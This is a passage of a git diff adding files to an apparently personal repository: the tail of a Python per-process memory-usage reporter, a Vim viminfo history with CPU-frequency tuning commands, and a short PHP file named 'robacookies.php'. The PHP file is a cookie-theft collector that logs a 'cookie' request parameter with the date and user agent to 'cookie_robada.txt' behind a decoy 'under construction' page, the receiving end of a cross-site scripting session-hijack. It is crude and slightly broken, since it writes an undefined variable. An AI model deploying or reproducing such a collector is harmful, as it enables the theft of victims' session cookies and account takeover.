return (int(kv[0]), int(kv[1]), int(kv[2]))
|
||||||
|
|
||||||
|
|
||||||
|
#return Private,Shared,Swap(Pss),unique_id
|
||||||
|
#Note shared is always a subset of rss (trs is not always)
|
||||||
|
def getMemStats(pid):
|
||||||
|
global have_pss
|
||||||
|
global have_swap_pss
|
||||||
|
mem_id = pid #unique
|
||||||
|
Private_lines = []
|
||||||
|
Shared_lines = []
|
||||||
|
Pss_lines = []
|
||||||
|
Rss = (int(proc.open(pid, 'statm').readline().split()[1])
|
||||||
|
* PAGESIZE)
|
||||||
|
Swap_lines = []
|
||||||
|
Swap_pss_lines = []
|
||||||
|
|
||||||
|
Swap = 0
|
||||||
|
|
||||||
|
if os.path.exists(proc.path(pid, 'smaps')): # stat
|
||||||
|
smaps = 'smaps'
|
||||||
|
if os.path.exists(proc.path(pid, 'smaps_rollup')):
|
||||||
|
smaps = 'smaps_rollup' # faster to process
|
||||||
|
lines = proc.open(pid, smaps).readlines() # open
|
||||||
|
# Note we checksum smaps as maps is usually but
|
||||||
|
# not always different for separate processes.
|
||||||
|
mem_id = hash(''.join(lines))
|
||||||
|
for line in lines:
|
||||||
|
if line.startswith("Shared"):
|
||||||
|
Shared_lines.append(line)
|
||||||
|
elif line.startswith("Private"):
|
||||||
|
Private_lines.append(line)
|
||||||
|
elif line.startswith("Pss"):
|
||||||
|
have_pss = 1
|
||||||
|
Pss_lines.append(line)
|
||||||
|
elif line.startswith("Swap:"):
|
||||||
|
Swap_lines.append(line)
|
||||||
|
elif line.startswith("SwapPss:"):
|
||||||
|
have_swap_pss = 1
|
||||||
|
Swap_pss_lines.append(line)
|
||||||
|
Shared = sum([int(line.split()[1]) for line in Shared_lines])
|
||||||
|
Private = sum([int(line.split()[1]) for line in Private_lines])
|
||||||
|
#Note Shared + Private = Rss above
|
||||||
|
#The Rss in smaps includes video card mem etc.
|
||||||
|
if have_pss:
|
||||||
|
pss_adjust = 0.5 # add 0.5KiB as this avg error due to truncation
|
||||||
|
Pss = sum([float(line.split()[1])+pss_adjust for line in Pss_lines])
|
||||||
|
Shared = Pss - Private
|
||||||
|
if have_swap_pss:
|
||||||
|
# The kernel supports SwapPss, that shows proportional swap share.
|
||||||
|
# Note that Swap - SwapPss is not Private Swap.
|
||||||
|
Swap = sum([int(line.split()[1]) for line in Swap_pss_lines])
|
||||||
|
else:
|
||||||
|
# Note that Swap = Private swap + Shared swap.
|
||||||
|
Swap = sum([int(line.split()[1]) for line in Swap_lines])
|
||||||
|
elif (2,6,1) <= kernel_ver() <= (2,6,9):
|
||||||
|
Shared = 0 #lots of overestimation, but what can we do?
|
||||||
|
Private = Rss
|
||||||
|
else:
|
||||||
|
Shared = int(proc.open(pid, 'statm').readline().split()[2])
|
||||||
|
Shared *= PAGESIZE
|
||||||
|
Private = Rss - Shared
|
||||||
|
return (Private, Shared, Swap, mem_id)
|
||||||
|
|
||||||
|
|
||||||
|
def getCmdName(pid, split_args, discriminate_by_pid):
|
||||||
|
cmdline = proc.open(pid, 'cmdline').read().split("\0")
|
||||||
|
if cmdline[-1] == '' and len(cmdline) > 1:
|
||||||
|
cmdline = cmdline[:-1]
|
||||||
|
|
||||||
|
path = proc.path(pid, 'exe')
|
||||||
|
try:
|
||||||
|
path = os.readlink(path)
|
||||||
|
# Some symlink targets were seen to contain NULs on RHEL 5 at least
|
||||||
|
# https://github.com/pixelb/scripts/pull/10, so take string up to NUL
|
||||||
|
path = path.split('\0')[0]
|
||||||
|
except OSError:
|
||||||
|
val = sys.exc_info()[1]
|
||||||
|
if (val.errno == errno.ENOENT or # either kernel thread or process gone
|
||||||
|
val.errno == errno.EPERM or
|
||||||
|
val.errno == errno.EACCES):
|
||||||
|
raise LookupError
|
||||||
|
raise
|
||||||
|
|
||||||
|
if split_args:
|
||||||
|
return ' '.join(cmdline).replace('\n', ' ')
|
||||||
|
if path.endswith(" (deleted)"):
|
||||||
|
path = path[:-10]
|
||||||
|
if os.path.exists(path):
|
||||||
|
path += " [updated]"
|
||||||
|
else:
|
||||||
|
#The path could be have prelink stuff so try cmdline
|
||||||
|
#which might have the full path present. This helped for:
|
||||||
|
#/usr/libexec/notification-area-applet.#prelink#.fX7LCT (deleted)
|
||||||
|
if os.path.exists(cmdline[0]):
|
||||||
|
path = cmdline[0] + " [updated]"
|
||||||
|
else:
|
||||||
|
path += " [deleted]"
|
||||||
|
exe = os.path.basename(path)
|
||||||
|
cmd = proc.open(pid, 'status').readline()[6:-1]
|
||||||
|
if exe.startswith(cmd):
|
||||||
|
cmd = exe #show non truncated version
|
||||||
|
#Note because we show the non truncated name
|
||||||
|
#one can have separated programs as follows:
|
||||||
|
#584.0 KiB + 1.0 MiB = 1.6 MiB mozilla-thunder (exe -> bash)
|
||||||
|
# 56.0 MiB + 22.2 MiB = 78.2 MiB mozilla-thunderbird-bin
|
||||||
|
if sys.version_info >= (3,):
|
||||||
|
cmd = cmd.encode(errors='replace').decode()
|
||||||
|
if discriminate_by_pid:
|
||||||
|
cmd = '%s [%d]' % (cmd, pid)
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
|
||||||
|
#The following matches "du -h" output
|
||||||
|
#see also human.py
|
||||||
|
def human(num, power="Ki", units=None):
|
||||||
|
if units is None:
|
||||||
|
powers = ["Ki", "Mi", "Gi", "Ti"]
|
||||||
|
while num >= 1000: #4 digits
|
||||||
|
num /= 1024.0
|
||||||
|
power = powers[powers.index(power)+1]
|
||||||
|
return "%.1f %sB" % (num, power)
|
||||||
|
else:
|
||||||
|
return "%.f" % ((num * 1024) / units)
|
||||||
|
|
||||||
|
|
||||||
|
def cmd_with_count(cmd, count):
|
||||||
|
if count > 1:
|
||||||
|
return "%s (%u)" % (cmd, count)
|
||||||
|
else:
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
#Warn of possible inaccuracies
|
||||||
|
#RAM:
|
||||||
|
#2 = accurate & can total
|
||||||
|
#1 = accurate only considering each process in isolation
|
||||||
|
#0 = some shared mem not reported
|
||||||
|
#-1= all shared mem not reported
|
||||||
|
#SWAP:
|
||||||
|
#2 = accurate & can total
|
||||||
|
#1 = accurate only considering each process in isolation
|
||||||
|
#-1= not available
|
||||||
|
def val_accuracy(show_swap):
|
||||||
|
"""http://wiki.apache.org/spamassassin/TopSharedMemoryBug"""
|
||||||
|
kv = kernel_ver()
|
||||||
|
pid = os.getpid()
|
||||||
|
swap_accuracy = -1
|
||||||
|
if kv[:2] == (2,4):
|
||||||
|
if proc.open('meminfo').read().find("Inact_") == -1:
|
||||||
|
return 1, swap_accuracy
|
||||||
|
return 0, swap_accuracy
|
||||||
|
elif kv[:2] == (2,6):
|
||||||
|
if os.path.exists(proc.path(pid, 'smaps')):
|
||||||
|
swap_accuracy = 1
|
||||||
|
if proc.open(pid, 'smaps').read().find("Pss:")!=-1:
|
||||||
|
return 2, swap_accuracy
|
||||||
|
else:
|
||||||
|
return 1, swap_accuracy
|
||||||
|
if (2,6,1) <= kv <= (2,6,9):
|
||||||
|
return -1, swap_accuracy
|
||||||
|
return 0, swap_accuracy
|
||||||
|
elif kv[0] > 2 and os.path.exists(proc.path(pid, 'smaps')):
|
||||||
|
if show_swap and proc.open(pid, 'smaps').read().find("SwapPss:")!=-1:
|
||||||
|
swap_accuracy = 2
|
||||||
|
return 2, swap_accuracy
|
||||||
|
else:
|
||||||
|
return 1, swap_accuracy
|
||||||
|
|
||||||
|
def show_val_accuracy( ram_inacc, swap_inacc, only_total, show_swap ):
|
||||||
|
level = ("Warning","Error")[only_total]
|
||||||
|
|
||||||
|
# Only show significant warnings
|
||||||
|
if only_total:
|
||||||
|
if show_swap: ram_inacc = 2
|
||||||
|
else: swap_inacc = 2
|
||||||
|
|
||||||
|
if ram_inacc == -1:
|
||||||
|
sys.stderr.write(
|
||||||
|
"%s: Shared memory is not reported by this system.\n" % level
|
||||||
|
)
|
||||||
|
sys.stderr.write(
|
||||||
|
"Values reported will be too large, and totals are not reported\n"
|
||||||
|
)
|
||||||
|
elif ram_inacc == 0:
|
||||||
|
sys.stderr.write(
|
||||||
|
"%s: Shared memory is not reported accurately by this system.\n" % level
|
||||||
|
)
|
||||||
|
sys.stderr.write(
|
||||||
|
"Values reported could be too large, and totals are not reported\n"
|
||||||
|
)
|
||||||
|
elif ram_inacc == 1:
|
||||||
|
sys.stderr.write(
|
||||||
|
"%s: Shared memory is slightly over-estimated by this system\n"
|
||||||
|
"for each program, so totals are not reported.\n" % level
|
||||||
|
)
|
||||||
|
|
||||||
|
if swap_inacc == -1:
|
||||||
|
sys.stderr.write(
|
||||||
|
"%s: Swap is not reported by this system.\n" % level
|
||||||
|
)
|
||||||
|
elif swap_inacc == 1:
|
||||||
|
sys.stderr.write(
|
||||||
|
"%s: Swap is over-estimated by this system for each program,\n"
|
||||||
|
"so totals are not reported.\n" % level
|
||||||
|
)
|
||||||
|
|
||||||
|
sys.stderr.close()
|
||||||
|
if only_total:
|
||||||
|
accuracy = swap_inacc if show_swap else ram_inacc
|
||||||
|
if accuracy != 2:
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
|
def get_memory_usage(pids_to_show, split_args, discriminate_by_pid,
|
||||||
|
include_self=False, only_self=False):
|
||||||
|
cmds = {}
|
||||||
|
shareds = {}
|
||||||
|
mem_ids = {}
|
||||||
|
count = {}
|
||||||
|
swaps = {}
|
||||||
|
for pid in os.listdir(proc.path('')):
|
||||||
|
if not pid.isdigit():
|
||||||
|
continue
|
||||||
|
pid = int(pid)
|
||||||
|
|
||||||
|
# Some filters
|
||||||
|
if only_self and pid != our_pid:
|
||||||
|
continue
|
||||||
|
if pid == our_pid and not include_self:
|
||||||
|
continue
|
||||||
|
if pids_to_show is not None and pid not in pids_to_show:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
cmd = getCmdName(pid, split_args, discriminate_by_pid)
|
||||||
|
except LookupError:
|
||||||
|
#operation not permitted
|
||||||
|
#kernel threads don't have exe links or
|
||||||
|
#process gone
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
private, shared, swap, mem_id = getMemStats(pid)
|
||||||
|
except RuntimeError:
|
||||||
|
continue #process gone
|
||||||
|
if shareds.get(cmd):
|
||||||
|
if have_pss: #add shared portion of PSS together
|
||||||
|
shareds[cmd] += shared
|
||||||
|
elif shareds[cmd] < shared: #just take largest shared val
|
||||||
|
shareds[cmd] = shared
|
||||||
|
else:
|
||||||
|
shareds[cmd] = shared
|
||||||
|
cmds[cmd] = cmds.setdefault(cmd, 0) + private
|
||||||
|
if cmd in count:
|
||||||
|
count[cmd] += 1
|
||||||
|
else:
|
||||||
|
count[cmd] = 1
|
||||||
|
mem_ids.setdefault(cmd, {}).update({mem_id: None})
|
||||||
|
|
||||||
|
# Swap (overcounting for now...)
|
||||||
|
swaps[cmd] = swaps.setdefault(cmd, 0) + swap
|
||||||
|
|
||||||
|
# Total swaped mem for each program
|
||||||
|
total_swap = 0
|
||||||
|
|
||||||
|
# Add shared mem for each program
|
||||||
|
total = 0
|
||||||
|
|
||||||
|
for cmd in cmds:
|
||||||
|
cmd_count = count[cmd]
|
||||||
|
if len(mem_ids[cmd]) == 1 and cmd_count > 1:
|
||||||
|
# Assume this program is using CLONE_VM without CLONE_THREAD
|
||||||
|
# so only account for one of the processes
|
||||||
|
cmds[cmd] /= cmd_count
|
||||||
|
if have_pss:
|
||||||
|
shareds[cmd] /= cmd_count
|
||||||
|
cmds[cmd] = cmds[cmd] + shareds[cmd]
|
||||||
|
total += cmds[cmd] # valid if PSS available
|
||||||
|
total_swap += swaps[cmd]
|
||||||
|
|
||||||
|
sorted_cmds = sorted(cmds.items(), key=lambda x:x[1])
|
||||||
|
sorted_cmds = [x for x in sorted_cmds if x[1]]
|
||||||
|
|
||||||
|
return sorted_cmds, shareds, count, total, swaps, total_swap
|
||||||
|
|
||||||
|
def print_header(show_swap, discriminate_by_pid):
|
||||||
|
output_string = " Private + Shared = RAM used"
|
||||||
|
if show_swap:
|
||||||
|
output_string += " Swap used"
|
||||||
|
output_string += "\tProgram"
|
||||||
|
if discriminate_by_pid:
|
||||||
|
output_string += "[pid]"
|
||||||
|
output_string += "\n\n"
|
||||||
|
sys.stdout.write(output_string)
|
||||||
|
|
||||||
|
|
||||||
|
def print_memory_usage(sorted_cmds, shareds, count, total, swaps, total_swap,
|
||||||
|
show_swap):
|
||||||
|
for cmd in sorted_cmds:
|
||||||
|
|
||||||
|
output_string = "%9s + %9s = %9s"
|
||||||
|
output_data = (human(cmd[1]-shareds[cmd[0]]),
|
||||||
|
human(shareds[cmd[0]]), human(cmd[1]))
|
||||||
|
if show_swap:
|
||||||
|
output_string += " %9s"
|
||||||
|
output_data += (human(swaps[cmd[0]]),)
|
||||||
|
output_string += "\t%s\n"
|
||||||
|
output_data += (cmd_with_count(cmd[0], count[cmd[0]]),)
|
||||||
|
|
||||||
|
sys.stdout.write(output_string % output_data)
|
||||||
|
|
||||||
|
# Only show totals if appropriate
|
||||||
|
if have_swap_pss and show_swap: # kernel will have_pss
|
||||||
|
sys.stdout.write("%s\n%s%9s%s%9s\n%s\n" %
|
||||||
|
("-" * 45, " " * 24, human(total), " " * 3,
|
||||||
|
human(total_swap), "=" * 45))
|
||||||
|
elif have_pss:
|
||||||
|
sys.stdout.write("%s\n%s%9s\n%s\n" %
|
||||||
|
("-" * 33, " " * 24, human(total), "=" * 33))
|
||||||
|
|
||||||
|
|
||||||
|
def verify_environment(pids_to_show):
|
||||||
|
if os.geteuid() != 0 and not pids_to_show:
|
||||||
|
sys.stderr.write("Sorry, root permission required, or specify pids with -p\n")
|
||||||
|
sys.stderr.close()
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
kernel_ver()
|
||||||
|
except (IOError, OSError):
|
||||||
|
val = sys.exc_info()[1]
|
||||||
|
if val.errno == errno.ENOENT:
|
||||||
|
sys.stderr.write(
|
||||||
|
"Couldn't access " + proc.path('') + "\n"
|
||||||
|
"Only GNU/Linux and FreeBSD (with linprocfs) are supported\n")
|
||||||
|
sys.exit(2)
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
def main():
|
||||||
|
split_args, pids_to_show, watch, only_total, discriminate_by_pid, \
|
||||||
|
show_swap = parse_options()
|
||||||
|
|
||||||
|
verify_environment(pids_to_show)
|
||||||
|
|
||||||
|
if not only_total:
|
||||||
|
print_header(show_swap, discriminate_by_pid)
|
||||||
|
|
||||||
|
if watch is not None:
|
||||||
|
try:
|
||||||
|
sorted_cmds = True
|
||||||
|
while sorted_cmds:
|
||||||
|
sorted_cmds, shareds, count, total, swaps, total_swap = \
|
||||||
|
get_memory_usage(pids_to_show, split_args,
|
||||||
|
discriminate_by_pid)
|
||||||
|
if only_total and show_swap and have_swap_pss:
|
||||||
|
sys.stdout.write(human(total_swap, units=1)+'\n')
|
||||||
|
elif only_total and not show_swap and have_pss:
|
||||||
|
sys.stdout.write(human(total, units=1)+'\n')
|
||||||
|
elif not only_total:
|
||||||
|
print_memory_usage(sorted_cmds, shareds, count, total,
|
||||||
|
swaps, total_swap, show_swap)
|
||||||
|
|
||||||
|
sys.stdout.flush()
|
||||||
|
time.sleep(watch)
|
||||||
|
else:
|
||||||
|
sys.stdout.write('Process does not exist anymore.\n')
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
# This is the default behavior
|
||||||
|
sorted_cmds, shareds, count, total, swaps, total_swap = \
|
||||||
|
get_memory_usage(pids_to_show, split_args,
|
||||||
|
discriminate_by_pid)
|
||||||
|
if only_total and show_swap and have_swap_pss:
|
||||||
|
sys.stdout.write(human(total_swap, units=1)+'\n')
|
||||||
|
elif only_total and not show_swap and have_pss:
|
||||||
|
sys.stdout.write(human(total, units=1)+'\n')
|
||||||
|
elif not only_total:
|
||||||
|
print_memory_usage(sorted_cmds, shareds, count, total, swaps,
|
||||||
|
total_swap, show_swap)
|
||||||
|
|
||||||
|
# We must close explicitly, so that any EPIPE exception
|
||||||
|
# is handled by our excepthook, rather than the default
|
||||||
|
# one which is reenabled after this script finishes.
|
||||||
|
sys.stdout.close()
|
||||||
|
|
||||||
|
ram_accuracy, swap_accuracy = val_accuracy( show_swap )
|
||||||
|
show_val_accuracy( ram_accuracy, swap_accuracy, only_total, show_swap )
|
||||||
|
|
||||||
|
if __name__ == '__main__': main()
|
||||||
11
robacookies.php
Normal file
11
robacookies.php
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
<?php
|
||||||
|
$collectedCookie=$HTTP_GET_VARS["cookie"];
|
||||||
|
$date=date("l ds of F Y h:i:s A");
|
||||||
|
$user_agent=$_SERVER['HTTP_USER_AGENT'];
|
||||||
|
$file=fopen('cookie_robada.txt','a');
|
||||||
|
fwrite($file,"DATE:$date || USER AGENT:$user_agent || COOKIE:$cookie \n");
|
||||||
|
fclose($file);
|
||||||
|
echo '<b>Lo sentimos, esta página está en construcción.</b></br></br>Click aquí<a
|
||||||
|
href="http://www.google.com/">here</a> para volver a la página anterior. ';
|
||||||
|
?>
|
||||||
|
|
||||||
403
viminfo
Normal file
403
viminfo
Normal file
|
|
@ -0,0 +1,403 @@
|
||||||
|
# This viminfo file was generated by Vim 8.0.
|
||||||
|
# You may edit it if you're careful!
|
||||||
|
|
||||||
|
# Viminfo version
|
||||||
|
|1,4
|
||||||
|
|
||||||
|
# Value of 'encoding' when this file was written
|
||||||
|
*encoding=utf-8
|
||||||
|
|
||||||
|
|
||||||
|
# hlsearch on (H) or off (h):
|
||||||
|
~h
|
||||||
|
# Command Line History (newest to oldest):
|
||||||
|
:q
|
||||||
|
|2,0,1516585821,,"q"
|
||||||
|
:w
|
||||||
|
|2,0,1516585812,,"w"
|
||||||
|
:u
|
||||||
|
|2,0,1516584522,,"u"
|
||||||
|
:U
|
||||||
|
|2,0,1516584483,,"U"
|
||||||
|
:q!
|
||||||
|
|2,0,1516482005,,"q!"
|
||||||
|
:wq
|
||||||
|
|2,0,1516225806,,"wq"
|
||||||
|
|
||||||
|
# Search String History (newest to oldest):
|
||||||
|
|
||||||
|
# Expression History (newest to oldest):
|
||||||
|
|
||||||
|
# Input Line History (newest to oldest):
|
||||||
|
|
||||||
|
# Debug Line History (newest to oldest):
|
||||||
|
|
||||||
|
# Registers:
|
||||||
|
""1 LINE 0
|
||||||
|
echo 1114000 >/sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
|
||||||
|
|3,1,1,1,1,0,1516585647," echo 1114000 >/sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq"
|
||||||
|
"2 LINE 0
|
||||||
|
echo $(( ${maxcpufreq#0} -50000 )) > /sys/devices/system/cpu/$cpuid/cpufreq/scaling_min_freq
|
||||||
|
|3,0,2,1,1,0,1516585194," echo $(( ${maxcpufreq#0} -50000 )) > /sys/devices/system/cpu/$cpuid/cpufreq/scaling_min_freq"
|
||||||
|
"3 LINE 0
|
||||||
|
promedio=$maxcpufreq-5000;
|
||||||
|
|3,0,3,1,1,0,1516584790," promedio=$maxcpufreq-5000;"
|
||||||
|
"4 LINE 0
|
||||||
|
maxcpufreq = $( cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq ) - 5000 ;
|
||||||
|
|3,0,4,1,1,0,1516584446," maxcpufreq = $( cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq ) - 5000 ;"
|
||||||
|
"5 LINE 0
|
||||||
|
maxcpufreq = $( cat sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
|
||||||
|
|3,0,5,1,1,0,1516584248," maxcpufreq = $( cat sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq"
|
||||||
|
"6 LINE 0
|
||||||
|
maxcpufreq = $( cat sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq
|
||||||
|
|3,0,6,1,1,0,1516584225," maxcpufreq = $( cat sys/devices/system/cpu/cpu0/cpufreq/scaling_max_freq"
|
||||||
|
"7 LINE 0
|
||||||
|
echo 1 > /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy
|
||||||
|
|3,0,7,1,1,0,1516584105," echo 1 > /sys/devices/system/cpu/cpufreq/ondemand/io_is_busy"
|
||||||
|
"8 LINE 0
|
||||||
|
echo 10 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor
|
||||||
|
|3,0,8,1,1,0,1516584104," echo 10 > /sys/devices/system/cpu/cpufreq/ondemand/sampling_down_factor"
|
||||||
|
"9 LINE 0
|
||||||
|
echo 25 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold
|
||||||
|
|3,0,9,1,1,0,1516584099," echo 25 > /sys/devices/system/cpu/cpufreq/ondemand/up_threshold"
|
||||||
|
"- CHAR 0
|
||||||
|
|
||||||
|
|3,0,36,0,1,0,1516584529," "
|
||||||
|
|
||||||
|
# File marks:
|
||||||
|
'0 1 0 ~/.config/pavucontrol.ini
|
||||||
|
|4,48,1,0,1516765005,"~/.config/pavucontrol.ini"
|
||||||
|
'1 1 0 ~/.config/gtk-2.0/gtkfilechooser.ini
|
||||||
|
|4,49,1,0,1516764994,"~/.config/gtk-2.0/gtkfilechooser.ini"
|
||||||
|
'2 1 0 ~/.config/gtk-2.0/gtkfilechooser.ini
|
||||||
|
|4,50,1,0,1516764992,"~/.config/gtk-2.0/gtkfilechooser.ini"
|
||||||
|
'3 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,51,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
'4 73 79 ~/optishl/optishl
|
||||||
|
|4,52,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
'5 68 2 ~/optishl/optishl
|
||||||
|
|4,53,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
'6 68 2 ~/optishl/optishl
|
||||||
|
|4,54,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
'7 1 0 ~/Downloads/Telegram Desktop/resultado.txt
|
||||||
|
|4,55,1,0,1516522595,"~/Downloads/Telegram Desktop/resultado.txt"
|
||||||
|
'8 1 0 ~/Downloads/Telegram Desktop/resultado
|
||||||
|
|4,56,1,0,1516522419,"~/Downloads/Telegram Desktop/resultado"
|
||||||
|
'9 1 0 ~/Downloads/texto.txt
|
||||||
|
|4,57,1,0,1516522327,"~/Downloads/texto.txt"
|
||||||
|
|
||||||
|
# Jumplist (newest first):
|
||||||
|
-' 1 0 ~/.config/pavucontrol.ini
|
||||||
|
|4,39,1,0,1516765005,"~/.config/pavucontrol.ini"
|
||||||
|
-' 1 0 ~/.config/gtk-2.0/gtkfilechooser.ini
|
||||||
|
|4,39,1,0,1516764994,"~/.config/gtk-2.0/gtkfilechooser.ini"
|
||||||
|
-' 1 0 ~/.config/gtk-2.0/gtkfilechooser.ini
|
||||||
|
|4,39,1,0,1516764994,"~/.config/gtk-2.0/gtkfilechooser.ini"
|
||||||
|
-' 1 0 ~/.config/gtk-2.0/gtkfilechooser.ini
|
||||||
|
|4,39,1,0,1516764992,"~/.config/gtk-2.0/gtkfilechooser.ini"
|
||||||
|
-' 1 0 ~/.config/gtk-2.0/gtkfilechooser.ini
|
||||||
|
|4,39,1,0,1516764992,"~/.config/gtk-2.0/gtkfilechooser.ini"
|
||||||
|
-' 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,39,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
-' 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,39,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
-' 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,39,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
-' 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,39,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
-' 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,39,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
-' 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,39,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
-' 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,39,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
-' 1 0 ~/.config/gtk-3.0/bookmarks
|
||||||
|
|4,39,1,0,1516764947,"~/.config/gtk-3.0/bookmarks"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 73 79 ~/optishl/optishl
|
||||||
|
|4,39,73,79,1516585821,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 1 0 ~/optishl/optishl
|
||||||
|
|4,39,1,0,1516585634,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
|
-' 68 2 ~/optishl/optishl
|
||||||
|
|4,39,68,2,1516585548,"~/optishl/optishl"
|
||||||
